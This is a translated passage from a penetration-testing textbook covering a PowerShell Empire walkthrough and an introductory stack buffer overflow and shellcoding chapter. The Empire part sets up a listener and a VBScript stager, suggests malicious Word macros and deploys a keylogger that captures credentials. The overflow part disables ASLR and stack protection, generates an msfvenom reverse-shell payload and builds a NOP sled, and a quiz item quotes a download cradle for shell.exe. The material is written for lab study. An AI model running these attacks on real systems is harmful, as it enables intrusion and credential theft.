现在,输入uselistener并在末尾加个空格,显示可用的监听器。HTTP 监听器听起来是个不错的选择——端口 80 在防火墙上通常是开放的。完成uselistener/http命令,然后使用info查看选项:

图 9.20 – 特定监听器的界面

图 9.20 – 特定监听器的界面

如果这看起来你不熟悉,现在你会看到这个界面让人想起 Metasploit。是不是很温馨?这让我想喝杯热可可,蜷缩起来。

你会注意到,选项默认设置了你所需的一切,所以你可以直接执行 execute 来进行设置。虽然有很多选项,但请根据你的环境和目标考虑选择。如果你将主机改为 HTTPS,Empire 会在后台相应地进行配置,但你需要一个证书。Empire 附带一个自签名证书生成器,它会将结果放在正确的文件夹中——只需在 setup 文件夹内运行 cert.sh。目前,我正在使用普通的 HTTP。你需要使用 set Port 80 来配置监听端口。执行后,输入 main 返回到 Empire 的主提示符。注意,listeners 的数量现在是 1。现在,我们来学习如何配置 stager。

配置 stager

输入 usestager 后加空格来查看我们可以使用的 stager:

图 9.21 – 使用 usestager 的自动补全

图 9.21 – 使用 usestager 的自动补全

正如你所看到的,这里有社会工程学的潜力;我将留给你发挥创意,想办法说服用户执行嵌入在 Word 文档中的恶意宏。这类攻击即便在撰写时仍然很常见,不幸的是,我们有时会看到它们成功突破防御。现在,我使用的是 VBScript stager,所以我将完成 usestager windows/launcher_vbs 命令。我们将立即看到我们的选项菜单。配置选项时,有两个重要的事项需要注意:

  • Stager 必须知道要与哪个监听器关联。你在这里通过名称进行定义;在过去,你需要在第一次创建监听器时记下它的名称。现在,在 set Listener 后加空格,会自动给出现有监听器的列表。

  • 这些选项区分大小写。

这里有一些很棒的选项,以下表格展示了它们。我最喜欢的是代码混淆功能。我鼓励你尝试使用这个选项并查看生成的代码(混淆需要本地安装 PowerShell):

图 9.22 – Stager 选项菜单

图 9.22 – Stager 选项菜单

一旦你准备好,执行 execute 来生成 stager。你会在 /var/lib/powershell-empire/empire/client/generated-stagers 目录下找到生成的 VBSript 文件。

继续查看你那款崭新的 stager。让我们看看里面的内容。

你的内部人员 – 与代理合作

你查看过 VBScript 吗?它非常巧妙。查看一下:vim /var/lib/powershell-empire/empire/client/generated-stagers/launcher.vbs。尽管我们没有为实际的 PowerShell 配置混淆,但正如你所看到的,这个 VBScript 的用途难以确定:

图 9.23 – 窥视 VBScript stager 的内部

图 9.23 – 窥视 VBScript stager 的内部

无论你选择了哪种方法,我们都在 Empire 中进行三阶段的代理投递过程。stager 是打开大门的那一部分;Empire 负责代理的旅行,以下图所示:

图 9.24 – 三阶段代理投递过程

图 9.24 – 三阶段代理投递过程

当你在 Windows 目标上执行 stager 时,你不会看到任何变化。不过,看看你的 Empire 屏幕,观察三阶段代理投递过程完成。代理与攻击者之间的关系类似于 Meterpreter 会话,且管理方式也相似。输入agents进入agents菜单,然后使用interact与刚刚设置的代理进行交互:

图 9.25 – 准备接受任务的活跃代理

图 9.25 – 准备接受任务的活跃代理

一如既往,使用help查看可用的交互选项。目前,让我们用sc从目标机器获取一张截图。客户端窗口只会告诉你它已任务代理,但你可以切换回服务器窗口,查看一些幕后细节:

图 9.26 – 服务器窗口中任务的详细信息

图 9.26 – 服务器窗口中任务的详细信息

你可以在/var/lib/powershell-empire/downloads中找到你的战利品。截图很有趣,但密码会被视觉模糊处理,因此让我们通过 PowerShell 键盘记录模块来结束介绍。

为代理任务配置模块

首先,输入agents命令进入代理模式。执行usemodule powershell/collection/keylogger,然后用你刚才记下的名字执行set Agent。然后输入execute,坐等你的代理在敌后开始工作。在你的interact会话中,使用view命令查看任务的进展情况。

我很乐意写一大段复杂的文字,详细描述所有的活动部分,但配置一个基本模块并任务代理就这么简单。Empire 框架实在是太方便了,不仅仅局限于这一章节的介绍——我们还需要处理权限提升和持久性的问题,所以请把这个强大的工具随时准备好。来看一下这个实验的结果:我们捕获了一些凭据,代理还很友好地提供了输入凭据的页面标题:

图 9.27 – 帝国代理发送的捕获键击

图 9.27 – 帝国代理发送的捕获键击

就像我们配置监听器和 stagers 时一样,我们有一些可选设置,也有一些是必需的,Empire 会尽力提前为你配置好。任务代理之前,请仔细审查可用选项。

在现代 Windows 企业环境中,PowerShell 是我们可用的终极“就地作业”工具,而 Empire 框架则能使你在评估中成为一名“忍者”。如果你跟随这些实验,你已经打下了更深入探索的基础,那么赶快打开目标虚拟机,试试新技巧吧。我们将在后期利用 Empire 进行后渗透工作,敬请期待。

总结

在本章中,我们从两个角度探索了 PowerShell。首先,我们将 PowerShell 作为一个交互式任务管理命令行工具和脚本语言进行介绍。然后,我们利用 PowerShell Empire 攻击框架中构建的 PowerShell 脚本,展示了攻击 Windows 机器时的潜力。最终,我们学习了如何利用 Windows 机器上的立足点,使用内置功能为攻击的后期阶段做准备。

本章节的介绍是特权提升和持久性的理想过渡,我们将在此基础上将我们的立足点转变为完全的特权入侵,并为长期保持访问权限铺平道路。现在,我们将跳入下一个章节,介绍 Shell 编程,并快速学习如何操作栈。

问题

请回答以下问题,测试你对本章内容的掌握情况:

  1. lsdir 和 PowerShell 的 _____ 提供相同的功能。

  2. [Convert]::ToString($number, 2)$number 变量做了什么操作?

  3. 在 PowerShell 中,我们使用 ____ 来筛选结果。

  4. 以下命令将创建 c:\shell 目录并将 shell.exe 写入该目录 (正确 | 错误):

    (New-Object System.Net.WebClient).DownloadFile("http://10.10.0.2/shell.exe", "c:\shell\shell.exe")

  5. 在配置 HTTPS 监听器时,可以使用 cert.sh 脚本来防止目标浏览器显示证书警告。(正确 | 错误)

深入阅读

要了解本章所涉及的主题的更多信息,请查看以下资源:

第十章:Shellcoding - 堆栈

到目前为止,我们一直在较高的抽象层次上工作。我们回顾了一些有效的工具,用于高效地完成工作,并学习了如何以易于消化的格式轻松生成报告。尽管如此,如果我们停留在模糊的低层次并且不断让工具隐藏底层机器,就会遇到一堵墙,阻碍我们的进展。无论我们在做什么任务,数据包和应用数据最终都会转化为原始的机器数据。我们在处理网络协议时就学到了这一点,比如当一个工具告诉你目标不可达时。虽然那可能是事实,但如果你想知道那些飞速传输的比特信息发生了什么,那就显得毫无意义。作为一个安全专家,你需要能够解读手头的信息,模糊和不完整的数据是这个领域每天都要面对的现实。因此,在本章中,我们将开始深入了解机器的底层机制。这将为书后面的实际操作练习奠定基础,在这些练习中,理解计算机的思维方式对于编程任务至关重要。尽管这是一本实践书籍,本章内容比平时稍微偏向理论。别担心,我们还会展示如何将这种理解应用于实际任务。

本章内容包括以下内容:

  • 介绍堆栈和调试

  • 介绍汇编语言

  • 构建并使用一个有漏洞的 C 程序

  • 使用 GDB 调试器检查内存

  • 介绍字节序的概念

  • 介绍 shellcoding 概念

  • 学习如何使用msfvenom来微调我们的 shellcode

技术要求

本章的技术要求如下:

  • Kali Linux

  • 旧版本的 Kali 或 BackTrack,或允许堆栈执行的其他 Linux 版本

调试简介

这本书并不是关于逆向工程的,但逆向的科学与艺术对我们作为渗透测试人员非常有帮助。即使我们不编写自己的漏洞利用程序,逆向也能为我们提供鸟瞰图,帮助我们理解底层内存管理。到目前为止,我们已经看过了几种语言——Python 和 Ruby——并且在本章中,我们也将简单看一看一些 C 语言代码。这些语言都是高级语言,这意味着它们距离机器的本地语言有一层逻辑抽象,更接近于人类的思维方式。因此,它们包含诸如对象、过程、控制流、变量等高级概念。这种高级语言的抽象层次绝非平坦——例如,C 语言相比其他高级语言被认为更接近机器的本地语言。另一方面,低级语言几乎没有与机器码的抽象层次。黑客最重要的低级语言是汇编语言,它通常只有一层抽象,接近纯机器码。汇编语言由操作码(opcode,表示处理器执行某个特定操作的数字)和临时存储单元(称为寄存器,用于存储操作数)组成。在最低层次,所有程序基本上都可以看作是复杂的内存管理——它们都由数据组成,而数据必须从某个地方存储和读取。

从现在开始,除非特别说明,否则我们将使用Intel 架构-32IA-32),即 32 位 x86 指令集架构(原始的 x86 是 16 位)。它是最常见的架构,因此最贴近实际应用。它也是理解其他架构的良好起点。现在,让我们看看内存是如何在运行时分配的。

理解栈

栈(stack)是与特定进程或线程相关联的一块内存。当我们说栈时,可以想象一叠盘子。一开始,你有一张桌子或厨房台面;然后,你把一只盘子放在台面上。接着,把下一个盘子放在前一个盘子上面。如果要取出中间的盘子,你需要先把上面的盘子拿走。(好吧,也许我有点过于沉迷于这个比喻了。我曾经做过服务员。)

这种组织堆栈的方法叫做 后进先出LIFO)结构。将数据压入堆栈叫做 push 操作。将数据从堆栈中取出叫做 pop 操作,这也是我在计算机科学中最喜欢的术语之一。有时你会看到 pull 操作,但老实说,pop 听起来要有趣得多。在程序执行过程中,当一个函数被调用时,函数及其数据会被压入堆栈。堆栈指针会监视堆栈顶部的数据,在数据被压入和弹出堆栈时保持跟踪。当过程中的所有数据都被弹出堆栈时,最后一条信息是 return 指令,它将我们带回到程序开始调用之前的位置。由于程序数据位于内存中,return 是一条跳转到特定内存地址的指令。

理解寄存器

在我们开始玩调试器之前,我们需要回顾寄存器和一些基本的汇编语言概念。如前所述,处理器处理数据,而数据需要存储在某个地方,即使它只是短短的一瞬间。寄存器是直接由处理器访问的小型存储区域(我们所说的小是指 8 位、16 位、32 位和 64 位),因为它们是直接内建于处理器中的。

当你在办公室的桌子上工作时,触手可及的物品是可以立即访问的物品。假设你需要从办公室的文件柜里拿些东西。这可能需要你额外花费几分钟时间,但物品仍然随时可以获取。现在,假设你有一些纸箱存放在阁楼里。从那里获取数据可能有点麻烦,但当你必须取出时,你可以拉出梯子。需要从二级存储(硬盘)中检索程序数据会花费处理器很多时间,类似于你那尘土飞扬的阁楼。RAM 可以被看作是那个比桌子有更多空间的文件柜,但从中获取物品的速度并不像从桌子上取东西那么快。你的处理器需要寄存器,就像你需要桌面上的一些空间一样。

尽管 IA-32 架构有一些寄存器用于各种目的,但你只需要关注其中的八个:通用寄存器。记得我们提到过原始的 x86 是 16 位吗?其实 32 位是 16 位架构的扩展(因此有了 E),这意味着所有原始的寄存器仍然存在,并占据寄存器的下半部分。16 位架构本身是过去 8 位架构(8080)的扩展,所以你还会发现 8 位寄存器占据了 A、B、C 和 D 16 位寄存器的高低端。这种设计确保了向后兼容性。看看下面的图示:

图 10.1 – IA-32 寄存器映射

图 10.1 – IA-32 寄存器映射

从技术上讲,之前提到的所有寄存器(除了ESP)都可以作为通用寄存器使用,但大多数情况下,EAXEBXEDX才是真正的通用寄存器。ECX可以用作函数中需要计数器的计数器(想象一下,C代表counter)。ESIEDI通常用作内存复制时的源索引SI)和目标索引DI)。EBP通常作为栈基指针使用。ESP始终是栈指针——当前栈的位置(栈顶)。因此,如果数据要被压入(或弹出)栈,ESP告诉我们数据将去往或来自哪里。例如,如果数据从栈指针下方压入或弹出,栈指针就会更新为新的栈顶位置。那么,栈指针和栈基指针有何不同?栈基指针是当前栈帧的底部。当我们先前讨论函数调用的例子时,我们看到栈帧包含所有压入栈的相关数据。栈帧底部的返回值位于基指针的下方。如你所见,这些引用帮助我们真正理解内存中发生的事情。说到指针,我们还应注意EIP指令寄存器(指令指针),它告诉处理器下一条指令的位置。正如你可以想象的那样,它不是通用寄存器。

最后,还有状态寄存器EFLAGS(再次说明,E表示扩展,就像 16 位祖先一样,它叫做FLAGS)。标志位是包含处理器状态信息的特殊位。例如,当处理器被要求执行减法操作且结果为零时,零标志被设置。同样,如果结果为负,符号标志被设置。还有一些控制标志,实际上会影响处理器执行特定任务的方式。

汇编语言基础

如果你认为关于寄存器的这些信息很有趣,那么等你了解汇编语言时,寄存器的完整生命周期会更让你着迷!我们这里只看基础知识,因为要全面讲解这个话题需要更多的篇幅。不过,对于那些勇敢深入这个主题的人来说,理解一些基础知识有助于全面掌握汇编语言。

汇编语言,尽管其极度简洁,但也因其简约而美丽。很难想象如此接近机器代码的东西竟然如此简单,但请记住,处理器做的事情非常简单——它做数学运算,移动数据,并存储少量数据,包括状态信息。还要记住,处理器理解的是二进制——最底层就是 0 和 1。我们有两种方法使这种二进制机器语言稍微更适合人类——使用二进制的紧凑表示(也就是使用二的幂作为数字基数;我们将主要使用十六进制),以及汇编语言,它使用助记符来表示操作。几乎所有汇编语言都有两个主要组件——操作码(opcode)操作数(operand)操作码(opcode) 是指代表特定指令的代码。操作数(operand) 是操作码使用的参数,可以是立即数操作数类型(即代码中定义的值);寄存器引用;或内存地址引用(实际上可以是前两种数据类型之一)。注意,某些操作码没有操作数。如果有目标操作数和源操作数,目标操作数优先,如以下示例所示:

mov edi, ecx

在这种情况下,edi 寄存器是目标操作数,ecx 寄存器是源操作数。

请记住,根据环境的不同,存在两种汇编语言表示法——Intel 和 AT&T。你将在处理 Windows 二进制文件时遇到 Intel 表示法,因此本书中我们默认使用这种表示法。然而,在 Unix 环境中,你会遇到 AT&T 表示法。Intel 和 AT&T 之间的一个主要区别是,在 AT&T 表示法中,目标操作数和源操作数的位置是 相反的;然而,内存地址使用 %() 引用,这使得你可以轻松判断你面对的是哪种表示法。

让我们从基本操作码和一些示例开始:

  • mov 表示移动,将是你看到的最常见的操作码,因为处理器的大部分工作都是将数据从一个地方移到另一个地方(例如寄存器),以便它能处理当前的任务。以下是 mov 的一个示例:

mov ecx, 0xbff4ca0b

  • addsubdivmul 都是基本的算术运算码——分别表示加法、减法、除法和乘法。

  • cmp 是比较指令,它接受两个操作数并通过标志位设置结果的状态。在以下示例中,比较了两个值;它们显然相同,因此它们之间的差值是 0,因此零标志被设置:

cmp 0x3e2, 0x3e2

  • call 是函数调用指令。此操作会将指令指针压入栈中,以便可以回到当前的位置,然后执行跳转到指定的地址。以下是 call 的一个示例:

call 0xc045bbb2

  • jcc 条件指令是汇编世界中的 if/then。jnz 是非常常见的,并且只接受一个操作数——一个内存中的目标地址。它表示“如果不为零,则跳转”,因此你经常会看到它在 cmp 操作之后。以下示例中,存储在 eax 中的值与十六进制值 3e2(十进制为 994)进行比较,如果零标志未设置,执行将跳转到内存中的 0xbbbf03a5 位置。以下两行,简单来说就是:检查存储在eax寄存器中的值是否等于994,如果它们是不同的数字,则跳转到0xbbbf03a5处的指令

cmp    eax,0x3e2

jnz    0xbbbf03a5

  • push 与我们在讨论堆栈工作原理时提到的 push 相同。此命令将某些内容推送到堆栈中。如果你有一系列的 push 操作,那么这些操作数将按照出现的顺序进入堆栈,并按照 LIFO(后进先出)结构存储,如以下示例所示:

push    edx

push    ecx

push    eax

push    0x6cc3

call    0xbbfffc32

如你所见,这是一个非常简单的介绍。汇编语言是那种通过示例学习效果更好的东西,因此请继续关注书中的更多分析。

汇编器、调试器和反编译器——哇!

在继续之前,最好先回顾一下这些术语之间的差异,因为信不信由你,这些词语通常是可以互换使用的:

图 10.2 – 汇编器与反编译器

图 10.2 – 汇编器与反编译器

让我们定义一下每个术语:

  • 调试器 是用于测试程序执行的工具。它可以帮助工程师识别执行中断的位置。调试器将使用某种类型的汇编器。

  • 汇编器 是一个将纯机器码作为输入并显示底层代码的汇编语言表示的程序。

  • 反编译器 尝试逆向编译过程。换句话说,它试图将二进制文件重构为高级语言,例如 C。程序员原始代码中的许多结构通常会丢失,因此反编译并不是一门精确的科学。

在本书的调试器部分,你将看到给定可执行文件的汇编语言表示,因此反汇编是这个过程中的必要部分。只需要理解处理器级别发生了什么的工程师只需要汇编器,而试图从程序中恢复高级功能的工程师将需要反编译器。

现在,让我们开始玩弄其中一个最好的调试器(在我们看来)——GNU 调试器GDB)。

熟悉 Linux 命令行调试器 GDB

你可以在软件仓库中找到 GDB,所以安装它很容易。只需通过 apt-get install gdb 安装它。安装完成后,只需使用以下命令开始使用:

gdb

GDB 中有许多命令按类别分类,因此建议你离线查阅 GDB 文档,深入了解其强大功能。稍后我们会查看其他调试器,因此这里不会花太多时间。让我们来看一下基础知识:

  • 你可以通过在命令行中运行 gdb 时传递文件的名称和位置来加载可执行文件。你还可以使用 --pid 将 GDB 附加到现有进程。

  • info 命令是了解后台发生的事情的强大窗口;info breakpoints 会列出并提供有关断点的信息,以及代码中执行停止的特定位置,以便你可以检查该位置及其环境。info registers 在任何栈分析中都很重要,因为它展示了当前时刻处理器寄存器的状态。你可以与 break 一起使用它,监控程序运行时寄存器值的变化。

  • list 会显示源代码(如果它包含的话)。然后我们可以根据源代码中的位置设置断点,这非常方便。

  • run 告诉 GDB 运行目标;你像在 GDB 外部一样传递参数给 run

  • x 只是意味着检查,它让我们可以窥视内存。我们将使用它检查栈指针之外的若干地址。例如,要检查栈指针 ESP 后 45 个十六进制字,我们可以输入 x/45x $esp

现在我们将把这部分介绍提升到一个新的阶段,开始在 GDB 中玩弄一个有漏洞的程序。

栈冲击 – 介绍缓冲区溢出

在本章的前面,我们了解了栈的神奇世界。栈非常有序,其核心设计假设所有参与者都遵循它的规则——例如,任何将数据复制到缓冲区的操作都已经检查过,以确保数据能适应缓冲区。

虽然你可以使用最新的 Kali Linux 来设置并研究栈和寄存器,但 Kali 的最新版本中已经内置了栈执行对策。我们建议使用其他版本的 Linux(或较旧版本的 Kali 或 BackTrack)来查看漏洞的实际表现。不管怎样,我们将在第十二章中攻击 Windows 系统,Shellcoding - 绕过杀毒软件

在我们开始之前,需要禁用 Linux 内置的栈保护机制。栈溢出之所以可能,部分原因是能够预测和操作内存地址。然而,地址空间布局随机化ASLR)使得这一点变得更困难,因为很难预测被随机化的内容。我们稍后会讨论绕过方法,但为了演示目的,我们将通过以下命令暂时禁用它:

echo 0 > /proc/sys/kernel/randomize_va_space

走之前先学会走路:禁用保护机制

理解栈溢出的基本原理非常重要,因此我们使用本章和下一章来创建一个理想的攻击实验室,这既具教育意义,又不太可能代表你实际客户的环境。业内已经从我们讨论的内容中吸取了教训,今天你会遇到诸如 ASLR 和 DEP 这样的保护机制。请继续关注第十一章Shellcoding - 绕过保护,以便了解这些攻击如何工作,获取最新的实践经验。到那时,你将有历史的视角和概念性理解,来指导你在本书之外的学习。

现在,让我们使用我们 trusty 的 nano 来快速编写一个简单(且易受攻击的)C 程序,代码如下:

nano demo.c

当我们输入这些时,先来看看我们的易受攻击的代码:

图 10.3 – 在 nano 中编辑我们的程序

图 10.3 – 在 nano 中编辑我们的程序

程序从预处理指令#include开始,告诉程序包含定义的头文件。在这里,stdio.h 是定义标准输入输出变量类型的头文件。程序设置了main函数,返回值为无(因此是void);buffer变量被声明并设置为 300 字节大小;strcpy(字符串拷贝)命令将传递给程序的参数复制到 300 字节的缓冲区;显示了一句经典电影中的机器人台词;最后,函数结束。

现在,我们来编译我们的程序。请注意,在以下示例中,我们还在编译时禁用了栈保护:

gcc -g -fno-stack-protector -z execstack -o demo demo.c

./demo test

当你运行程序时,应该能看到printf输出的结果,正如预期的那样:

图 10.4 – 运行我们的演示程序

图 10.4 – 运行我们的演示程序

现在,我们可以看到演示程序将test作为输入并将其复制到缓冲区。然后,printf函数显示我们的消息。由于输入很小,因此我们不应该遇到任何问题;它完全适应缓冲区,甚至还有空余的空间。让我们看看如果我们按住z键一段时间再提交输入,会发生什么:

图 10.5 – 演示程序崩溃

图 10.5 – 演示程序崩溃

啊哈!这里发生了段错误。程序崩溃了,因为我们输入了过多的数据。这个程序很简单,字面上几乎什么也不做,但仍然有一个main函数。在某个时刻,这个函数会被调用,并为其分配一个缓冲区。一旦栈上的所有内容被弹出,我们将剩下一个返回指针。如果这个指针指向一个无效地址,程序就会崩溃。现在,让我们把程序加载到 GDB 中,看看幕后发生了什么。

执行过程中检查栈和寄存器

我们将使用初始测试输入发出run命令,然后检查寄存器,看看正常操作的样子,如下所示:

gdb 演示

(gdb) break 6

(gdb) run test

(gdb) info registers

这将为我们提供寄存器的清晰映射:

图 10.6 – GDB 中的寄存器映射

图 10.6 – GDB 中的寄存器映射

如我们在前面的截图中看到的,espebp 紧挨在一起,因此现在我们可以确定栈帧。从esp开始,让我们找到返回地址。记住,它将是基指针之后的第一个十六进制字。我们知道我们从esp开始,但我们要在内存中查找多远呢?让我们来回顾一下计算。

栈指针位于0xbffff470,基指针位于0xbfff5a8。这意味着我们可以排除bfff,所以我们从4705a8数十六进制字。一个简单的思考方式是按 16 个一组来数:220230240250,依此类推,一直到360,共 20 组。因此,我们将检查 80 个十六进制字。如果你觉得这是 14 组而不是 20 组,那你可能还是在用十进制模式。记住,我们使用的是十六进制,这意味着2202302402502602702802902a02b02c0,等等。

现在我们知道我们正在检查 80 个十六进制字,接下来让我们向 GDB 发出这个命令:

(gdb) x/80x $esp

如果你找到了基指针地址并识别出它之后的十六进制字,你将得到返回地址,如下所示的截图所示:

图 10.7 – 高亮显示返回地址

图 10.7 – 高亮显示返回地址

仔细检查直到理解为止。然后,使用quit命令退出,以便我们可以再次执行相同的步骤。这一次,我们将用一长串字母z使程序崩溃,如下所示的命令所示:

gdb 演示

(gdb) break 6

(gdb) run $(python -c 'print "z"*400')

啊!我们做了什么?看看函数试图跳转的内存地址,如下截图所示:

图 10.8 – 查看程序试图发送执行的位置

图 10.8 – 查看程序试图发送执行的位置

如你所见,如果你像之前一样运行x/80x $esp,你将再次看到栈。找到基指针,然后读取它之后的十六进制字。现在显示的是0x7a7a7a7a7a是 ASCII 字符z的十六进制表示。我们溢出了缓冲区并替换了返回地址!我们的计算机对此非常愤怒,因为0x7a7a7a7a要么不存在,要么我们没有权利跳转到那里。在将其转化为有效攻击之前,我们需要确保理解内存中的位顺序。

小问题——理解字节序

“据计算,曾经有一万一千人多次死于非命,而不是屈服于在小端打破他们的蛋。”

– 乔纳森·斯威夫特,《格列佛游记》

稍微离开键盘,享受一下文学趣闻。在乔纳森·斯威夫特于 1726 年出版的《格列佛游记》中,我们的叙述者和旅行者莱梅尔·格列佛讲述了他在利立浦特国的冒险。利立浦特人被揭示为一群古怪的人,以对看似微不足道的事情进行激烈的争论而闻名。几个世纪以来,利立浦特人总是从大端打破鸡蛋。当一位皇帝试图通过法律强制规定鸡蛋必须从小端打破时,导致了叛乱,许多人因此丧命。

在计算机世界中,事实证明并不是所有人都同意字节在内存中的排列顺序。如果你花了很多时间研究网络协议,你会习惯于对从左到右读取的直觉——大端法,即最重要的位先存储在内存中。而在小端法中,最不重要的位先存储。通俗来说,小端法看起来像是倒着来的。对于我们这些黑客来说,这一点非常重要,因为就像利立浦特人一样,并不是每个人都会在你认为微不足道的事情上和你意见一致。作为一个壳编码者,特别是一个逆向工程师,你应该立即适应小端排序,因为它是 Intel 处理器的标准。

让我们通过使用内存中的十六进制单词给出一个简单的例子。比如说,假设你想让0x12345678出现在堆栈中。你传递给溢出函数的字符串将是\x78\x56\x34\x12。当你的漏洞利用失败时,你会发现自己首先检查字节顺序,作为故障排除的第一步。

现在,我们将进入壳编码的奇异世界。我们之前提到,将 400 字节的 ASCII 字母z塞入缓冲区会导致返回地址被0x7a7a7a7a覆盖。如果我们用以下输入执行程序,我们将跳转到哪个返回地址?

demo $(python -c 'print "\x7a"*300 + "\xef\xbe\xad\xde"')

请记住小端法的概念,并在继续下一部分之前先进行尝试。

介绍壳编码

如果你在上一节的最后一个示例中尝试过,你应该看到执行试图跳转到 0xdeadbeef。(我们使用 deadbeef 是因为它是你可以用十六进制字符表示的少数几个内容之一。而且,它看起来不就像某种可怕的黑客名字吗?)这儿的关键是展示通过精心选择输入,你能够控制返回地址。这意味着我们也可以将 shellcode 作为参数传递,并将其填充到恰到好处的大小,以便连接返回地址到有效载荷中,然后返回并执行它。这本质上就是栈溢出攻击的核心。然而,正如你想象的那样,返回地址需要指向内存中的一个合适位置。在我们处理这个之前,让我们先获取一些比 deadbeef 更激动人心的字节。

我们不打算生成有效载荷并将其传递给将作为 MetasploitShellter 输入的文件,而是希望直接获取这些顽皮的十六进制字节。因此,我们不会将其输出到可执行文件,而是以 Python 格式输出,并直接从终端获取这些值。你知道接下来会发生什么,对吧?是的,我们将使用 msfvenom 来生成有效载荷。试试看吧——使用 Linux x86 有效载荷,获取字节,看看能否填满缓冲区并覆盖返回地址。

它没有成功,对吧?你可以看到有效载荷的前几个字节,但接下来似乎会变成零并且有一些其他的内存引用在各处。我们在第一次介绍 msfvenom 时提到了 坏字符 —— 实际上会破坏执行的十六进制字节。臭名昭著的例子是 \x00,空字节。如果你尝试使用 msfvenom 帮助屏幕上的示例 —— '\x00\xff' —— 这算是一个不错的猜测,但它可能也没有成功。因此,我们唯一的选择就是在十六进制的丛林中进行猎寻,找到那些破坏我们 shellcode 的字节。

我们如何在不逐字节检查 shellcode 的情况下完成这项任务呢?幸运的是,有一个巧妙的解决方法。

猎寻破坏 shellcode 的字节

我们的破损 shellcode 问题的好处在于,罪魁祸首每次只是一个字节。一个字节只有两个十六进制数字,所以总共有 16 * 16 = 256 个字符需要检查。手动检查这些似乎有点多,但我们已经有了目标可执行文件演示,并且我们也有 GDB。那么,为什么不将所有 256 个字符(我们的猎寻有效载荷)作为一个参数传递,并在末尾加上一个 target 序列,看看我们的填充是否能到达堆栈呢?如果没有,我们就知道代码在某个地方断开了,然后可以逐字节调试,找到断点。当断开时,删除有问题的字符,然后反复操作。

让我们来看看这个示例。请注意,我使用了 4 字节的\x90作为填充:

图 10.9 – 使用 GDB 查找 shellcode 中的断点

图 10.9 – 使用 GDB 查找 shellcode 中的中断

让我们更仔细地检查这个输出:

  • 我们可以很容易地在内存中的下一个位置看到我们的 4 个填充字节——0x90909090。因此,我们预计内存中的下一个单词应该是我们搜索载荷的开始;前四个字节是 01、02、03 和 04。由于是小端格式,我们预计是0x04030201

  • 我们在内存的下一个位置看到了预期的单词,所以现在让我们开始寻找中断。我们知道接下来的单词应该是这样的——0x080706050x0c0b0a09,以此类推。

  • 嘿!我们发现0xb7fcc100,而不是我们搜索载荷的继续部分。那看起来很像内存中的一个位置。不管怎样,我们看到\x08是我们序列中最后一个成功进入堆栈的字节。

  • 因此,我们现在可以推断出\x09是破坏代码的字符。

现在我们移除有问题的字符,并用修改后的搜索载荷再次运行——这就是反复操作的部分。最终,如果我们到达结尾并看到目标序列,我们就知道我们的字符是有效的。在这个例子中,我们使用\x7a作为目标。现在,让我们跳到当我最终通过一个没有坏字符的搜索载荷时的时刻。

当我发现那四个标志性的\x7a字节时,我知道我们已经到达了终点:

图 10.10 – 概念验证:shellcode 不包含坏字符

图 10.10 – 概念验证:shellcode 不包含坏字符

你可能会想,是否可以在线查找坏字符。这将帮助你发现一些常见的恶性字符,比如\x00。然而,这在不同系统之间可能会有所不同。不管怎样,这个过程是有价值的,因为你正在获得与目标的经验和熟悉度。

使用 msfvenom 生成 shellcode

现在我们知道了哪些字符会破坏我们的 shellcode,我们可以发出我们的msfvenom命令来抓取一个载荷,如下所示:

msfvenom --payload linux/x86/shell/reverse_tcp LHOST=127.0.0.1 LPORT=45678 --format py --bad-chars '\x00\x09\x0a\x20\xff'

你如何处理输出完全取决于你。你可以将其转储到一个 Python 脚本中,并在运行易受攻击的程序时作为参数调用。在以下例子中,我们将它直接转储到一个简单命令中以便操作:

图 10.11 – 使用 Python 将缓冲区填充上 shellcode

图 10.11 – 使用 Python 将缓冲区填充上 shellcode

在这里我们看到一个概念验证——所有这些垃圾数据都是经过清理的有效负载,返回内存覆盖被附加在末尾。这证明了代码没有崩溃,因为你可以看到在定义的位置发生了段错误无法访问内存。如果代码实际上能够正常工作,并且我们将内存地址指向一个能够将执行流带到 shellcode 顶部的位置,那么我们就成功了。然而,还有一个难题,那就是准确地指向内存中 shellcode 所在的位置,这个问题难度大得出乎意料。你注意到 shellcode 前面的填充了吗?它是 150 字节的\x90;不同于字母 z,这并不是随意的。

戴上手套,我们要去玩 NOP 滑道了

处理器并不总是需要工作。毕竟,我们都需要休息一下。处理器总是按照指令执行,恰好我们可以告诉它做任何事情。如果我们告诉处理器执行无操作,这条指令就叫做NOP。为了了解这如何帮助我们,让我们来看一下下面的堆栈结构:

图 10.12 – 攻击者如何指引执行流

图 10.12 – 攻击者如何指引执行流

整个红色框就是我们要填充到缓冲区中的内容。正如你所看到的,它根本无法完全适应;它会溢出缓冲区框,进入下面的空间,包括返回地址,我们将其指向 NOP 滑道的中间。执行流会到达返回地址并跳转到那里,以为它正在按预期返回;它没有意识到的是,我们已经覆盖了那个地址,它现在会忠实地跳转到我们刚刚填充进缓冲区的 NOP 滑道。NOP 滑道只不过是一长串无操作的代码。如果执行流落在那里,处理器将直接跳过这些指令,什么也不做,直到执行到下一条指令。执行就像从山顶滑下去一样,几乎字面意义上滑下山坡。山坡的底部就是我们的 shellcode。这种方法意味着我们不需要精确预测返回地址——它只需要落在 NOP 区域的任何位置。

NOP 代码\x90是最流行的,但就像防御中的许多事情一样,走得最多的路也是最容易被封堵的。不过,你可以传递一个 NOP 标志给msfvenom,它将为你生成由多种 NOP 代码组成的滑道。无论你使用哪种方法,你需要知道 NOP 滑道的长度。如果它太长,你只会用部分 shellcode 来覆盖 RET,这可能会导致段错误。我们已经知道我们的缓冲区是 300 字节,而有效负载是 150 字节。理论上,将缓冲区的正好一半填充 NOP 应该能精确覆盖返回地址。那么,我们应该指向哪里呢?实际上,任何地方都可以,只要你瞄准 NOP 滑道。那个范围内的任何地址都可以工作。

让我们再次使用 GDB 中的十六进制检查命令,观察你填充 NOP sled 后的栈情况:

图 10.13 – NOP sled 将我们引导到 shellcode

图 10.13 – NOP sled 将我们引导到 shellcode

这里,我们标出了我们的滑雪坡。现在我们知道,在0xbffff3440xbffff3d7之间的任何目标都会使我们进入 NOP sled,然后我们将滑入 shellcode 执行。

现在我们可以利用所学的知识,在不同环境下灵活地处理不同的可执行文件。再次尝试这些步骤,使用一个包含易受攻击缓冲区的不同 C 程序,这样你将处理不同的值。

摘要

